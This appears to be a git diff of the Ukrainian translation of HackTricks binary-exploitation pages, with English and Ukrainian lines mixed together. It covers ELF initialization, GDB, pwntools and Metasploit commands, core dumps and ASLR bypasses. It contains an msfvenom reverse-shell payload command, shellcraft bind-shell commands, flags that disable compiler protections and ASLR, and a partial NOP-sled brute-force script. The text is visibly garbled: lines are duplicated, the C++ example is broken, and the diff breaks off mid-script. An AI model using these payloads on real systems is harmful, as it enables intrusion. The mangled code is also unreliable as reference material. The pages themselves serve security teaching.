Отже, коли програма викликає malloc, вона фактично викликає відповідне місце `malloc` в PLT (`malloc@plt`). Перший раз, коли його викликають, він розв'язує адресу `malloc` і зберігає її, тому наступного разу, коли викликається `malloc`, використовується ця адреса замість коду PLT.
So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code.
## Program Initialization
After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
## Ініціалізація програми
Після того, як програма була завантажена, настав час для її виконання. Однак перший код, який виконується, **не завжди є функцією `main`**. Це тому, що, наприклад, у C++, якщо **глобальна змінна є об'єктом класу**, цей об'єкт повинен бути **ініціалізований** **перед** виконанням main, як у:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
class AutoInit {
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
};
AutoInit autoInit;
int main() {
printf("Main\n");
return 0;
printf("Main\n");
return 0;
}
```
Зверніть увагу, що ці глобальні змінні розташовані в `.data` або `.bss`, але в списках `__CTOR_LIST__` і `__DTOR_LIST__` об'єкти для ініціалізації та деструкції зберігаються, щоб відстежувати їх.
Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them.
From C code it's possible to obtain the same result using the GNU extensions :
З C-коду можливо отримати той же результат, використовуючи розширення GNU:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
З точки зору компілятора, щоб виконати ці дії до та після виконання функції `main`, можна створити функцію `init` та функцію `fini`, які будуть посилатися в динамічному розділі як **`INIT`** та **`FIN`**. Вони розміщуються в секціях `init` та `fini` ELF.
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
Інший варіант, як згадувалося, - це посилатися на списки **`__CTOR_LIST__`** та **`__DTOR_LIST__`** у записах **`INIT_ARRAY`** та **`FINI_ARRAY`** в динамічному розділі, а їхня довжина вказується **`INIT_ARRAYSZ`** та **`FINI_ARRAYSZ`**. Кожен запис є вказівником на функцію, яка буде викликана без аргументів.
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
Більше того, також можливо мати **`PREINIT_ARRAY`** з **вказівниками**, які будуть виконані **перед** вказівниками **`INIT_ARRAY`**.
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
### Порядок ініціалізації
### Initialization Order
1. Програма завантажується в пам'ять, статичні глобальні змінні ініціалізуються в **`.data`** та неініціалізовані обнуляються в **`.bss`**.
2. Всі **залежності** для програми або бібліотек **ініціалізуються**, і виконується **динамічне зв'язування**.
3. Виконуються функції **`PREINIT_ARRAY`**.
4. Виконуються функції **`INIT_ARRAY`**.
5. Якщо є запис **`INIT`**, він викликається.
6. Якщо це бібліотека, dlopen закінчується тут, якщо програма, час викликати **реальну точку входу** (функцію `main`).
1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
3. **`PREINIT_ARRAY`** functions are executed.
4. **`INIT_ARRAY`** functions are executed.
5. If there is a **`INIT`** entry it's called.
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
## Локальне зберігання потоків (TLS)
## Thread-Local Storage (TLS)
Вони визначаються за допомогою ключового слова **`__thread_local`** в C++ або розширення GNU **`__thread`**.
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
Кожен потік буде підтримувати унікальне місце для цієї змінної, тому лише потік може отримати доступ до своєї змінної.
Each thread will maintain a unique location for this variable so only the thread can access its variable.
Коли це використовується, секції **`.tdata`** та **`.tbss`** використовуються в ELF. Вони подібні до `.data` (ініціалізовані) та `.bss` (не ініціалізовані), але для TLS.
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
Кожна змінна матиме запис у заголовку TLS, що вказує на розмір та зсув TLS, який є зсувом, який вона використовуватиме в локальній області даних потоку.
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
`__TLS_MODULE_BASE` - це символ, що використовується для посилання на базову адресу локального зберігання потоків і вказує на область пам'яті, що містить усі локальні дані потоку модуля.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
# Exploiting Tools
# Інструменти експлуатації
{{#include ../../../banners/hacktricks-training.md}}
## Metasploit
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@ -11,31 +10,23 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Install
### Встановлення
```bash
apt-get install gdb
```
### Parameters
### Параметри
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Instructions
### Інструкції
```bash
run # Execute
start # Start and break in main
@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions.
Ви можете за бажанням використовувати [**цей форк GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef), який містить більш цікаві інструкції.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Tricks
#### GDB same addresses
#### GDB ті ж адреси
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
Під час налагодження GDB буде мати **трохи інші адреси, ніж ті, що використовуються бінарним файлом під час виконання.** Ви можете зробити так, щоб GDB мав ті ж адреси, виконавши:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _Put the absolute path to the binary_
- Exploit the binary using the same absolute route
- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
- `set env _=<path>` _Введіть абсолютний шлях до бінарного файлу_
- Використовуйте бінарний файл, використовуючи той же абсолютний шлях
- `PWD` і `OLDPWD` повинні бути однаковими під час використання GDB і під час експлуатації бінарного файлу
#### Backtrace to find functions called
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
#### Backtrace для знаходження викликаних функцій
Коли у вас є **статично зв'язаний бінарний файл**, всі функції будуть належати бінарному файлу (а не зовнішнім бібліотекам). У цьому випадку буде важко **виявити потік, який слідує бінарному файлу, щоб, наприклад, запитати введення користувача.**\
Ви можете легко виявити цей потік, **запустивши** бінарний файл з **gdb** до того, як вас попросять ввести дані. Потім зупиніть його за допомогою **CTRL+C** і використовуйте команду **`bt`** (**backtrace**), щоб побачити викликані функції:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -154,87 +141,80 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB сервер
### GDB server
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
`gdbserver --multi 0.0.0.0:23947` (в IDA потрібно вказати абсолютний шлях до виконуваного файлу на Linux машині та на Windows машині)
## Ghidra
### Find stack offset
### Знайти зсув стеку
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
&#xNAN;_&#x52;emember that the first 0x08 from where the RIP is saved belongs to the RBP._
**Ghidra** дуже корисна для знаходження **зсуву** для **переповнення буфера завдяки інформації про позицію локальних змінних.**\
Наприклад, у наведеному нижче прикладі переповнення буфера в `local_bc` вказує на те, що потрібен зсув `0xbc`. Більше того, якщо `local_10` є канарейковим печивом, це вказує на те, що для перезапису його з `local_bc` потрібен зсув `0xac`.\
&#xNAN;_&#x52;emember, що перші 0x08, з яких зберігається RIP, належать до RBP._
![](<../../../images/image (1061).png>)
## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Get every opcode executed in the program.
Отримайте кожен опкод, виконаний у програмі.
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
&#xNAN;**-o** --> Output\
&#xNAN;**-g** --> Save code (GDB will be able to see it)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Компілювати без захистів\
&#xNAN;**-o** --> Вихід\
&#xNAN;**-g** --> Зберегти код (GDB зможе його бачити)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Деактивувати ASLR у linux
**To compile a shellcode:**\
**nasm -f elf assembly.asm** --> return a ".o"\
**ld assembly.o -o shellcodeout** --> Executable
**Щоб скомпілювати shellcode:**\
**nasm -f elf assembly.asm** --> повертає ".o"\
**ld assembly.o -o shellcodeout** --> Виконуваний файл
## Objdump
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
&#xNAN;**-Mintel** --> **Intel** syntax\
&#xNAN;**-t** --> **Symbols** table\
&#xNAN;**-D** --> **Disassemble all** (address of static variable)\
&#xNAN;**-s -j .dtors** --> dtors section\
&#xNAN;**-s -j .got** --> got section\
-D -s -j .plt --> **plt** section **decompiled**\
&#xNAN;**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
**-d** --> **Дизасемблювати виконувані** секції (дивитися опкоди скомпільованого shellcode, знаходити ROP Gadgets, знаходити адресу функції...)\
&#xNAN;**-Mintel** --> **Intel** синтаксис\
&#xNAN;**-t** --> **Таблиця** символів\
&#xNAN;**-D** --> **Дизасемблювати все** (адреса статичної змінної)\
&#xNAN;**-s -j .dtors** --> секція dtors\
&#xNAN;**-s -j .got** --> секція got\
-D -s -j .plt --> **plt** секція **дизасембльована**\
&#xNAN;**-TR** --> **Релокації**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Адреса "puts" для модифікації в GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Адреса або статичної змінної (вони зберігаються в секції DATA).
## Core dumps
## Ядерні дампи
1. Run `ulimit -c unlimited` before starting my program
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
1. Запустіть `ulimit -c unlimited` перед запуском моєї програми
2. Запустіть `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet
## More
## Більше
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
**ldd executable | grep libc.so.6** --> Адреса (якщо ASLR, то це змінюється щоразу)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Цикл, щоб перевірити, чи адреса змінюється багато\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Зсув "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Зсув "/bin/sh"
**strace executable** --> Functions called by the executable\
**rabin2 -i ejecutable -->** Address of all the functions
**strace executable** --> Функції, викликані виконуваним файлом\
**rabin2 -i ejecutable -->** Адреса всіх функцій
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Debugging in remote linux
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
### Налагодження в віддаленому linux
Всередині папки IDA ви можете знайти бінарні файли, які можна використовувати для налагодження бінарного файлу в linux. Для цього перемістіть бінарний файл `linux_server` або `linux_server64` на linux сервер і запустіть його в папці, що містить бінарний файл:
```
./linux_server64 -Ppass
```
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
Потім налаштуйте налагоджувач: Debugger (linux remote) --> Proccess options...:
![](<../../../images/image (858).png>)

View File

@ -1,120 +1,100 @@
# PwnTools
{{#include ../../../banners/hacktricks-training.md}}
```
pip3 install pwntools
```
## Pwn asm
Get **opcodes** from line or file.
Отримати **opcodes** з рядка або файлу.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Можна вибрати:**
**Can select:**
- output type (raw,hex,string,elf)
- output file context (16,32,64,linux,windows...)
- avoid bytes (new lines, null, a list)
- select encoder debug shellcode using gdb run the output
- тип виходу (raw, hex, string, elf)
- контекст виходу файлу (16, 32, 64, linux, windows...)
- уникати байтів (нові рядки, нуль, список)
- вибрати кодувальник для налагодження shellcode, використовуючи gdb, запустити вихід
## **Pwn checksec**
Checksec script
Скрипт checksec
```
pwn checksec <executable>
```
## Pwn constgrep
## Pwn cyclic
Get a pattern
Отримати шаблон
```
pwn cyclic 3000
pwn cyclic -l faad
```
**Можна вибрати:**
**Can select:**
- The used alphabet (lowercase chars by default)
- Length of uniq pattern (default 4)
- context (16,32,64,linux,windows...)
- Take the offset (-l)
- Використовуваний алфавіт (малі літери за замовчуванням)
- Довжина унікального шаблону (за замовчуванням 4)
- Контекст (16,32,64,linux,windows...)
- Взяти зсув (-l)
## Pwn debug
Attach GDB to a process
Прикріпити GDB до процесу
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
**Можна вибрати:**
**Can select:**
- By executable, by name or by pid context (16,32,64,linux,windows...)
- gdbscript to execute
- За виконуваним файлом, за ім'ям або за контекстом pid (16,32,64,linux,windows...)
- gdbscript для виконання
- sysrootpath
## Pwn disablenx
Disable nx of a binary
Вимкнути nx бінарного файлу
```
pwn disablenx <filepath>
```
## Pwn disasm
Disas hex opcodes
Дисасемблюйте шістнадцяткові опкоди
```
pwn disasm ffe4
```
**Можна вибрати:**
**Can select:**
- context (16,32,64,linux,windows...)
- base addres
- color(default)/no color
- контекст (16,32,64,linux,windows...)
- базова адреса
- колір(за замовчуванням)/без кольору
## Pwn elfdiff
Print differences between 2 files
Друкує відмінності між 2 файлами
```
pwn elfdiff <file1> <file2>
```
## Pwn hex
Get hexadecimal representation
Отримати шістнадцяткове представлення
```bash
pwn hex hola #Get hex of "hola" ascii
```
## Pwn phd
Get hexdump
Отримати hexdump
```
pwn phd <file>
```
**Можна вибрати:**
**Can select:**
- Number of bytes to show
- Number of bytes per line highlight byte
- Skip bytes at beginning
- Кількість байтів для відображення
- Кількість байтів на рядок, виділений байт
- Пропустити байти на початку
## Pwn pwnstrip
@ -122,8 +102,7 @@ pwn phd <file>
## Pwn shellcraft
Get shellcodes
Отримати shellcodes
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**Можна вибрати:**
**Can select:**
- shellcode та аргументи для shellcode
- Вихідний файл
- формат виходу
- налагодження (підключити dbg до shellcode)
- перед (налагоджувальна зупинка перед кодом)
- після
- уникати використання opcodes (за замовчуванням: не null та новий рядок)
- Запустити shellcode
- Колір/без кольору
- список системних викликів
- список можливих shellcode
- Генерувати ELF як спільну бібліотеку
- shellcode and arguments for the shellcode
- Out file
- output format
- debug (attach dbg to shellcode)
- before (debug trap before code)
- after
- avoid using opcodes (default: not null and new line)
- Run the shellcode
- Color/no color
- list syscalls
- list possible shellcodes
- Generate ELF as a shared library
## Pwn template
Get a python template
## Шаблон Pwn
Отримати шаблон python
```
pwn template
```
**Can select:** host, port, user, pass, path and quiet
**Можна вибрати:** хост, порт, користувач, пароль, шлях та тихий режим
## Pwn unhex
From hex to string
З шістнадцяткового в рядок
```
pwn unhex 686f6c61
```
## Pwn оновлення
## Pwn update
To update pwntools
Щоб оновити pwntools
```
pwn update
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,29 @@
# Common Binary Exploitation Protections & Bypasses
# Загальні захисти та обхідні шляхи для бінарного експлуатації
{{#include ../../banners/hacktricks-training.md}}
## Enable Core files
## Увімкнення файлів ядра
**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred.
**Файли ядра** - це тип файлу, який генерується операційною системою, коли процес зазнає збою. Ці файли захоплюють образ пам'яті зламаного процесу на момент його завершення, включаючи пам'ять процесу, регістри та стан лічильника програми, серед інших деталей. Цей знімок може бути надзвичайно цінним для налагодження та розуміння причин збою.
### **Enabling Core Dump Generation**
### **Увімкнення генерації дампів ядра**
By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings.
- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
За замовчуванням багато систем обмежують розмір файлів ядра до 0 (тобто, вони не генерують файли ядра), щоб заощадити місце на диску. Щоб увімкнути генерацію файлів ядра, ви можете використовувати команду **`ulimit`** (в bash або подібних оболонках) або налаштувати системні параметри.
- **Використання ulimit**: Команда `ulimit -c unlimited` дозволяє поточній сесії оболонки створювати файли ядра необмеженого розміру. Це корисно для сесій налагодження, але не зберігається після перезавантаження або нових сесій.
```bash
ulimit -c unlimited
```
- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
- **Постійна конфігурація**: Для більш постійного рішення ви можете відредагувати файл `/etc/security/limits.conf`, щоб додати рядок на кшталт `* soft core unlimited`, що дозволяє всім користувачам генерувати файли ядра необмеженого розміру без необхідності вручну встановлювати ulimit у своїх сесіях.
```markdown
- soft core unlimited
```
### **Аналіз файлів ядра за допомогою GDB**
### **Analyzing Core Files with GDB**
To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
Щоб проаналізувати файл ядра, ви можете використовувати інструменти налагодження, такі як GDB (GNU Debugger). Припустимо, у вас є виконуваний файл, який створив дамп ядра, і файл ядра називається `core_file`, ви можете розпочати аналіз з:
```bash
gdb /path/to/executable /path/to/core_file
```
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
Ця команда завантажує виконуваний файл та файл ядра в GDB, що дозволяє вам перевірити стан програми в момент збою. Ви можете використовувати команди GDB для дослідження стеку, перевірки змінних та розуміння причини збою.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,107 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
**Address Space Layout Randomization (ASLR)** - це техніка безпеки, що використовується в операційних системах для **випадкового розташування адрес пам'яті**, які використовуються системними та прикладними процесами. Це ускладнює зловмиснику передбачити місцезнаходження конкретних процесів і даних, таких як стек, купа та бібліотеки, що зменшує ризик певних типів експлойтів, зокрема переповнень буфера.
### **Checking ASLR Status**
### **Перевірка статусу ASLR**
To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied:
Щоб **перевірити** статус ASLR на системі Linux, ви можете прочитати значення з файлу **`/proc/sys/kernel/randomize_va_space`**. Значення, збережене в цьому файлі, визначає тип ASLR, що застосовується:
- **0**: No randomization. Everything is static.
- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
You can check the ASLR status with the following command:
- **0**: Немає випадкового розташування. Все статичне.
- **1**: Консервативне випадкове розташування. Спільні бібліотеки, стек, mmap(), сторінка VDSO випадкові.
- **2**: Повне випадкове розташування. На додаток до елементів, випадкових за допомогою консервативного випадкового розташування, пам'ять, керована через `brk()`, також випадкова.
Ви можете перевірити статус ASLR за допомогою наступної команди:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Вимкнення ASLR**
### **Disabling ASLR**
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
Щоб **вимкнути** ASLR, ви повинні встановити значення `/proc/sys/kernel/randomize_va_space` на **0**. Вимкнення ASLR зазвичай не рекомендується поза сценаріями тестування або налагодження. Ось як ви можете це зробити:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
You can also disable ASLR for an execution with:
Ви також можете вимкнути ASLR для виконання за допомогою:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Увімкнення ASLR**
### **Enabling ASLR**
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
Щоб **увімкнути** ASLR, ви можете записати значення **2** у файл `/proc/sys/kernel/randomize_va_space`. Це зазвичай вимагає прав root. Увімкнення повної рандомізації можна зробити за допомогою наступної команди:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Стійкість під час перезавантаження**
### **Persistence Across Reboots**
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
Зміни, внесені за допомогою команд `echo`, є тимчасовими і будуть скинуті після перезавантаження. Щоб зробити зміни постійними, вам потрібно відредагувати файл `/etc/sysctl.conf` і додати або змінити наступний рядок:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
After editing `/etc/sysctl.conf`, apply the changes with:
Після редагування `/etc/sysctl.conf`, застосуйте зміни за допомогою:
```bash
sudo sysctl -p
```
Це забезпечить збереження ваших налаштувань ASLR після перезавантаження.
This will ensure that your ASLR settings remain across reboots.
## **Обходи**
## **Bypasses**
### 32-бітний брутфорс
### 32bit brute-forcing
PaX ділить адресний простір процесу на **3 групи**:
PaX divides the process address space into **3 groups**:
- **Код і дані** (ініціалізовані та неініціалізовані): `.text`, `.data` та `.bss` —> **16 біт** ентропії в змінній `delta_exec`. Ця змінна випадковим чином ініціалізується з кожним процесом і додається до початкових адрес.
- **Пам'ять**, виділена за допомогою `mmap()`, та **спільні бібліотеки** —> **16 біт**, названі `delta_mmap`.
- **Стек** —> **24 біти**, що називається `delta_stack`. Однак, фактично використовується **11 біт** (з 10-го до 20-го байта включно), вирівняних на **16 байт** —> Це призводить до **524,288 можливих реальних адрес стеку**.
- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
Попередні дані стосуються 32-бітних систем, а зменшена фінальна ентропія дозволяє обійти ASLR, повторюючи виконання знову і знову, поки експлойт не завершиться успішно.
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
#### Brute-force ideas:
- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
- Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
#### Ідеї для брутфорсу:
- Якщо у вас є достатньо великий переповнення, щоб вмістити **великий NOP слайд перед shellcode**, ви можете просто брутфорсити адреси в стеку, поки потік **не стрибне через якусь частину NOP слайду**.
- Інший варіант для цього, якщо переповнення не таке велике, і експлойт можна запустити локально, — це **додати NOP слайд і shellcode в змінну середовища**.
- Якщо експлойт локальний, ви можете спробувати брутфорсити базову адресу libc (корисно для 32-бітних систем):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- Якщо ви атакуєте віддалений сервер, ви можете спробувати **брутфорсити адресу функції `libc` `usleep`**, передаючи в якості аргументу 10 (наприклад). Якщо в якийсь момент **сервер відповідає на 10 секунд довше**, ви знайшли адресу цієї функції.
> [!TIP]
> In 64bit systems the entropy is much higher and this shouldn't possible.
> У 64-бітних системах ентропія значно вища, і це не повинно бути можливим.
### 64 bits stack brute-forcing
It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
### Брутфорс стеку 64 біти
Можливо зайняти велику частину стеку змінними середовища, а потім спробувати зловживати бінарним файлом сотні/тисячі разів локально, щоб його експлуатувати.\
Наступний код показує, як можливо **просто вибрати адресу в стеці** і кожні **кілька сотень виконань** ця адреса міститиме **інструкцію NOP**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
cont += 1
if cont % 10000 == 0:
break
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
print(cont, end="\r")
# Define the path to your binary
